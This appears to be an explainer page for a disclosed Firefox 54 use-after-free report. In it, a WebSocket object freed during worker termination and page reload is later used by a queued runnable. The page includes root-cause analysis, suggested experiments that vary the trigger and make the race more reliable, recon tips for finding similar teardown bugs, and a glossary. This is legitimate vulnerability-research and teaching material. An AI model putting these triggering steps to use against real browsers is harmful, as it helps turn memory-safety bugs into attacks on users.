The stack trace shows DisconnectInternal running on a WebSocketImpl that had already been freed. In other words, the note asking for the disconnect is still on the desk, but the object it refers to has already been thrown away. When the runnable executes, DisconnectInternal runs on the freed object and the process crashes with an access violation reading e5e5e5e5.

Root cause

The report does not explain why the object was freed before the runnable ran. The worker is terminated and the page reloads, the object is freed, and the queued runnable then calls DisconnectInternal on the stale pointer. The dt this output confirms the object had been freed and its memory filled with e5 before the call.

Why the existing lifetime handling did not prevent this is not spelled out in the report. Likely the runnable was not holding a strong reference, or the reference was released as part of worker shutdown before the main-thread runnable ran. A strong reference is a reference that keeps the object alive; a weak reference merely lets you look, and does not stop the object being freed.

Impact

The crash is a memory-safety violation in the browser process, triggered by a page that creates a worker, opens a WebSocket from it, and then terminates the worker while reloading. The report demonstrates a crash on Firefox 54.0 (32-bit) on Windows 10. Whether the freed object can be shaped into controlled code execution is not shown in the report; the report documents the use-after-free and the crash. Controlled code execution would mean turning the stale memory into instructions the attacker chooses, which is the step that would turn a crash into a serious compromise.

Fix

The report does not describe the fix that was applied. In everyday terms: the note on the desk should also hold the room key, so the room cannot be checked out until the note has been dealt with.

These are follow-up experiments a researcher could run to understand the bug better. Each one changes a single detail and states what a positive result would look like.

  1. Vary the timing between worker0.terminate() and location.reload(). A positive result is the same access violation in WebSocketImpl::DisconnectInternal with the e5e5e5e5 read address.
  2. Open the WebSocket from the main page instead of a worker, then navigate away while the connection is being torn down. A positive result is a crash in the same disconnect path.
  3. Use a subprotocol other than wsm1-protocol, or none. A positive result is the same crash, showing the protocol string is not part of the trigger.
  4. Terminate the worker without reloading the page. A positive result is the same crash, showing the reload is not strictly required.
  5. Repeat the sequence in a loop to see whether the race becomes more reliable. A positive result is a higher crash rate with the same stack.

This kind of bug hides in teardown paths where work is queued from one thread (here a worker) to another (the main thread) and the queued runnable outlives the object it operates on. During recon, look for features that combine workers, navigation or reload, and asynchronous cleanup: WebSocket, fetch, IndexedDB and similar APIs. An API is a defined set of functions a program offers to other code; fetch is the browser's way of requesting data over the network, and IndexedDB is the browser's built-in database for web pages. The signal is a crash whose faulting address is a fill pattern such as e5e5e5e5, which indicates a freed object rather than a wild pointer. A wild pointer is a pointer that was never valid; a stale pointer was valid once and is now pointing at freed memory. The researcher showed impact by producing a minimal, self-contained reproduction script and a debugger dump proving the object had been freed, which is what makes a use-after-free report actionable for a browser vendor.

Glossary

  • Access violation: an operating system error raised when a program tries to read or write memory it is not allowed to touch, usually ending the program.
  • API: a defined set of functions that one piece of software offers to another so they can work together.
  • Asynchronous cleanup: work that is scheduled to happen later rather than immediately, such as closing a connection after the current task finishes.
  • DOM: the browser's live model of a web page, made of objects that scripts can read and change.
  • Fill pattern: a repeated byte written over freed memory by the allocator so that stale use is easy to recognise, here e5.
  • Firefox: the web browser made by Mozilla.
  • fetch: the browser API for requesting data over the network from a script.
  • IndexedDB: a database built into browsers that web pages can use to store data locally.
  • Main thread: the thread inside the browser that handles the user interface and most page activity.
  • Memory allocator: the part of a program that hands out and takes back blocks of memory.
  • Node.js: a program that runs JavaScript outside a browser, often used to run small servers.
  • Port: a numbered door on a computer that network connections use to reach a particular service.
  • Race: a situation where two events happen at almost the same time and the outcome depends on which one happens first.
  • Recon: the exploratory phase of security research where you look for interesting features and behaviours to test.
  • Reference count: a tally of how many parts of a program are relying on an object; when it reaches zero the object is freed.
  • Runnable: a small unit of work placed in a queue to be executed later, often on a specific thread.
  • Strong reference: a reference that keeps an object alive for as long as it is held.
  • Subprotocol: a name that a WebSocket client and server use to agree on how they will talk.
  • Thread: a single line of execution inside a program; a program can have several running at once.
  • Throttled event queue: a queue of work that limits how fast items are processed.
  • Use-after-free: a memory-safety bug where a program frees a block of memory and then keeps using it as if it were still valid.
  • Virtual function table: an internal list attached to an object that tells the program which code belongs to it.
  • Weak reference: a reference that lets you look at an object without keeping it alive.
  • WebSocket: a way for a web page to keep an open, two-way conversation with a server.
  • Wild pointer: a pointer that was never valid, as opposed to a stale pointer that once pointed at real memory.
  • Worker: a background script started by a page so that work happens off the main page.
  • xul.dll: one of Firefox's core program files on Windows, where the crash occurred.

More by Looben Yang

View all

50 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.